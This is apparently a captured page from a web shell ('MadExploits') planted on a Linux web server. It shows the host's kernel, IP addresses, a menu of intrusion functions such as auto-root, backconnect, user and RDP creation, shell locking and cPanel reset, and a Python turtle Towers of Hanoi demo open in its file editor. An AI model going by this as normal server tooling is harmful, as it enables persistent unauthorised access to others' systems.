Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.117.188.105
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
python35 /
lib /
python3.5 /
turtledemo /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
314
B
-rw-r--r--
__main__.py
13.95
KB
-rw-r--r--
bytedesign.py
4.14
KB
-rwxr-xr-x
chaos.py
951
B
-rw-r--r--
clock.py
3.13
KB
-rwxr-xr-x
colormixer.py
1.31
KB
-rw-r--r--
forest.py
2.88
KB
-rwxr-xr-x
fractalcurves.py
3.38
KB
-rwxr-xr-x
lindenmayer.py
2.38
KB
-rwxr-xr-x
minimal_hanoi.py
2
KB
-rwxr-xr-x
nim.py
6.36
KB
-rw-r--r--
paint.py
1.26
KB
-rwxr-xr-x
peace.py
1.04
KB
-rwxr-xr-x
penrose.py
3.46
KB
-rwxr-xr-x
planet_and_moon.py
2.78
KB
-rwxr-xr-x
round_dance.py
1.76
KB
-rw-r--r--
sorting_animate.py
4.93
KB
-rw-r--r--
tree.py
1.39
KB
-rwxr-xr-x
turtle.cfg
160
B
-rw-r--r--
two_canvases.py
1.09
KB
-rwxr-xr-x
wikipedia.py
1.32
KB
-rw-r--r--
yinyang.py
821
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : minimal_hanoi.py
#!/usr/bin/env python3 """ turtle-example-suite: tdemo_minimal_hanoi.py A minimal 'Towers of Hanoi' animation: A tower of 6 discs is transferred from the left to the right peg. An imho quite elegant and concise implementation using a tower class, which is derived from the built-in type list. Discs are turtles with shape "square", but stretched to rectangles by shapesize() --------------------------------------- To exit press STOP button --------------------------------------- """ from turtle import * class Disc(Turtle): def __init__(self, n): Turtle.__init__(self, shape="square", visible=False) self.pu() self.shapesize(1.5, n*1.5, 2) # square-->rectangle self.fillcolor(n/6., 0, 1-n/6.) self.st() class Tower(list): "Hanoi tower, a subclass of built-in type list" def __init__(self, x): "create an empty tower. x is x-position of peg" self.x = x def push(self, d): d.setx(self.x) d.sety(-150+34*len(self)) self.append(d) def pop(self): d = list.pop(self) d.sety(150) return d def hanoi(n, from_, with_, to_): if n > 0: hanoi(n-1, from_, to_, with_) to_.push(from_.pop()) hanoi(n-1, with_, from_, to_) def play(): onkey(None,"space") clear() try: hanoi(6, t1, t2, t3) write("press STOP button to exit", align="center", font=("Courier", 16, "bold")) except Terminator: pass # turtledemo user pressed STOP def main(): global t1, t2, t3 ht(); penup(); goto(0, -225) # writer turtle t1 = Tower(-250) t2 = Tower(0) t3 = Tower(250) # make tower of 6 discs for i in range(6,0,-1): t1.push(Disc(i)) # prepare spartanic user interface ;-) write("press spacebar to start game", align="center", font=("Courier", 16, "bold")) onkey(play, "space") listen() return "EVENTLOOP" if __name__=="__main__": msg = main() print(msg) mainloop()
Close